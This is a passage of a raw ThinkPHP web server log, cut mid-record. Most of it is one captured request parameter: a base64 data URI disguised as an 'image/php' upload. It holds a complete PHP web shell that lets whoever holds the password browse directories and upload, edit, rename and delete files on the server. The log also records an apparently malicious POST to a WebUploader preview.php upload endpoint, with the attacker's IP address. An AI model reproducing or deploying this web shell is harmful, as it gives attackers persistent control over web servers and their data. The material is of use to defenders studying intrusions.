'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugin' => 'ueditor', 0 => 'ueditor.config.js', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:56+08:00 ] 116.213.36.234 POST www.51tianwei.com/js/webuploader/0.1.5/server/preview.php [运行时间:0.002460s] [吞吐率:406.50req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 